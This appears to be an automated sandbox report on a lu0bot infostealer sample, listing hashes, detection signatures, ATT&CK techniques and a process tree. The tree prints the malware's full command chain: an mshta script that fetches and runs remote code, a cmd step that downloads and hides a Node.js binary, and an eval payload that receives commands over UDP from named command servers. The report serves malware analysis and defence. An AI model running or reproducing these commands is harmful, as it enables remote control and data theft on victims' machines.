lu0bot | cb23aeac6382ff99608a71e3b416c1ca22f5f301474840239e4c319db31cef25

Analysis

max time kernel
150s
max time network
156s
platform
windows10_x64
resource
win10v20210408
submitted
20-07-2021 12:03

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General

Target

b51f35ce59522da81ef898864f0d5345.exe
Size

3KB
MD5

b51f35ce59522da81ef898864f0d5345
SHA1

ff9d931d99cf91852cafe602f078fc90fa53940f
SHA256

cb23aeac6382ff99608a71e3b416c1ca22f5f301474840239e4c319db31cef25
SHA512

24bc25b9c843b41b2ed0b38ab4417ecb43fa880a09086b41e0e630ba613557f4f4563cbdf5012abc62d22a1809bbb21096f823274cfad2824efb0e9e296a0b80

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1084	mshta.exe
10	3992	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3164	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2564	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1296	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3940	ipconfig.exe
4020	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3988	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\8f47b088358ff0d1:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:041d7f33c79e2462d941b435ce20a95e	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3164	node.exe
3164	node.exe
3164	node.exe
3164	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3108	wmic.exe
Token: SeSecurityPrivilege	3108	wmic.exe
Token: SeTakeOwnershipPrivilege	3108	wmic.exe
Token: SeLoadDriverPrivilege	3108	wmic.exe
Token: SeSystemProfilePrivilege	3108	wmic.exe
Token: SeSystemtimePrivilege	3108	wmic.exe
Token: SeProfSingleProcessPrivilege	3108	wmic.exe
Token: SeIncBasePriorityPrivilege	3108	wmic.exe
Token: SeCreatePagefilePrivilege	3108	wmic.exe
Token: SeBackupPrivilege	3108	wmic.exe
Token: SeRestorePrivilege	3108	wmic.exe
Token: SeShutdownPrivilege	3108	wmic.exe
Token: SeDebugPrivilege	3108	wmic.exe
Token: SeSystemEnvironmentPrivilege	3108	wmic.exe
Token: SeRemoteShutdownPrivilege	3108	wmic.exe
Token: SeUndockPrivilege	3108	wmic.exe
Token: SeManageVolumePrivilege	3108	wmic.exe
Token: 33	3108	wmic.exe
Token: 34	3108	wmic.exe
Token: 35	3108	wmic.exe
Token: 36	3108	wmic.exe
Token: SeIncreaseQuotaPrivilege	3108	wmic.exe
Token: SeSecurityPrivilege	3108	wmic.exe
Token: SeTakeOwnershipPrivilege	3108	wmic.exe
Token: SeLoadDriverPrivilege	3108	wmic.exe
Token: SeSystemProfilePrivilege	3108	wmic.exe
Token: SeSystemtimePrivilege	3108	wmic.exe
Token: SeProfSingleProcessPrivilege	3108	wmic.exe
Token: SeIncBasePriorityPrivilege	3108	wmic.exe
Token: SeCreatePagefilePrivilege	3108	wmic.exe
Token: SeBackupPrivilege	3108	wmic.exe
Token: SeRestorePrivilege	3108	wmic.exe
Token: SeShutdownPrivilege	3108	wmic.exe
Token: SeDebugPrivilege	3108	wmic.exe
Token: SeSystemEnvironmentPrivilege	3108	wmic.exe
Token: SeRemoteShutdownPrivilege	3108	wmic.exe
Token: SeUndockPrivilege	3108	wmic.exe
Token: SeManageVolumePrivilege	3108	wmic.exe
Token: 33	3108	wmic.exe
Token: 34	3108	wmic.exe
Token: 35	3108	wmic.exe
Token: 36	3108	wmic.exe
Token: SeDebugPrivilege	4020	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 776 wrote to memory of 1084	776	b51f35ce59522da81ef898864f0d5345.exe	74
PID 776 wrote to memory of 1084	776	b51f35ce59522da81ef898864f0d5345.exe	74
PID 776 wrote to memory of 1084	776	b51f35ce59522da81ef898864f0d5345.exe	74
PID 1084 wrote to memory of 3732	1084	mshta.exe	76
PID 1084 wrote to memory of 3732	1084	mshta.exe	76
PID 1084 wrote to memory of 3732	1084	mshta.exe	76
PID 3732 wrote to memory of 3992	3732	cmd.exe	78
PID 3732 wrote to memory of 3992	3732	cmd.exe	78
PID 3732 wrote to memory of 3992	3732	cmd.exe	78
PID 3732 wrote to memory of 1352	3732	cmd.exe	79
PID 3732 wrote to memory of 1352	3732	cmd.exe	79
PID 3732 wrote to memory of 1352	3732	cmd.exe	79
PID 3732 wrote to memory of 3600	3732	cmd.exe	80
PID 3732 wrote to memory of 3600	3732	cmd.exe	80
PID 3732 wrote to memory of 3600	3732	cmd.exe	80
PID 3600 wrote to memory of 3164	3600	cscript.exe	81
PID 3600 wrote to memory of 3164	3600	cscript.exe	81
PID 3600 wrote to memory of 3164	3600	cscript.exe	81
PID 3164 wrote to memory of 2660	3164	node.exe	85
PID 3164 wrote to memory of 2660	3164	node.exe	85
PID 3164 wrote to memory of 2660	3164	node.exe	85
PID 3164 wrote to memory of 3152	3164	node.exe	86
PID 3164 wrote to memory of 3152	3164	node.exe	86
PID 3164 wrote to memory of 3152	3164	node.exe	86
PID 3164 wrote to memory of 2564	3164	node.exe	87
PID 3164 wrote to memory of 2564	3164	node.exe	87
PID 3164 wrote to memory of 2564	3164	node.exe	87
PID 3164 wrote to memory of 2604	3164	node.exe	88
PID 3164 wrote to memory of 2604	3164	node.exe	88
PID 3164 wrote to memory of 2604	3164	node.exe	88
PID 3164 wrote to memory of 184	3164	node.exe	89
PID 3164 wrote to memory of 184	3164	node.exe	89
PID 3164 wrote to memory of 184	3164	node.exe	89
PID 3164 wrote to memory of 1296	3164	node.exe	91
PID 3164 wrote to memory of 1296	3164	node.exe	91
PID 3164 wrote to memory of 1296	3164	node.exe	91
PID 3164 wrote to memory of 3108	3164	node.exe	92
PID 3164 wrote to memory of 3108	3164	node.exe	92
PID 3164 wrote to memory of 3108	3164	node.exe	92
PID 3164 wrote to memory of 3940	3164	node.exe	93
PID 3164 wrote to memory of 3940	3164	node.exe	93
PID 3164 wrote to memory of 3940	3164	node.exe	93
PID 3164 wrote to memory of 3508	3164	node.exe	94
PID 3164 wrote to memory of 3508	3164	node.exe	94
PID 3164 wrote to memory of 3508	3164	node.exe	94
PID 3164 wrote to memory of 4020	3164	node.exe	95
PID 3164 wrote to memory of 4020	3164	node.exe	95
PID 3164 wrote to memory of 4020	3164	node.exe	95
PID 3164 wrote to memory of 3988	3164	node.exe	96
PID 3164 wrote to memory of 3988	3164	node.exe	96
PID 3164 wrote to memory of 3988	3164	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2604	attrib.exe
184	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b51f35ce59522da81ef898864f0d5345.exe
"C:\Users\Admin\AppData\Local\Temp\b51f35ce59522da81ef898864f0d5345.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:776
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();96;y=unescape('%342%7Eh%74t%70%3A%2F%2F%61s%750%32%2E%73h%6Fp%2Fh%72i%2F%3F%321%616%654%62%7E%32').split('~');159;try{x='WinHttp';165;x=new ActiveXObject(x+'.'+x+'Request.5.1');41;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);137;x.send();160;y='ipt.S';36;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);30;}catch(e){};165;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782604620.txt & cscript /nologo /e:jscript get1626782604620.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2022680af%26b%3D028d0deb" node.cab & expand node.cab node.exe & del get1626782604620.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782604620.txt & cscript /nologo /e:jscript get1626782604620.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27022680af%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782604620.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782604620.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2022680af%26b%3D028d0deb" node.cab
      4⤵
      Blocklisted process makes network request
      PID:3992
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:1352
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782604620.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27022680af%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3600
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27022680af%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3164
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2660
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3152
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:2564
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:2604
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:184
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1296
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3108
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3940
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:3508
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:4020
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3164-125-0x0000000017400000-0x0000000017401000-memory.dmp

Filesize
4KB

Download
memory/3164-130-0x0000000035700000-0x0000000035701000-memory.dmp

Filesize
4KB

Download
memory/3164-128-0x000000002D300000-0x000000002D301000-memory.dmp

Filesize
4KB

Download
memory/3164-127-0x0000000025C00000-0x0000000025C01000-memory.dmp

Filesize
4KB

Download
memory/3164-126-0x0000000005D00000-0x0000000005D01000-memory.dmp

Filesize
4KB

Download
memory/3164-129-0x0000000025B00000-0x0000000025B01000-memory.dmp

Filesize
4KB

Download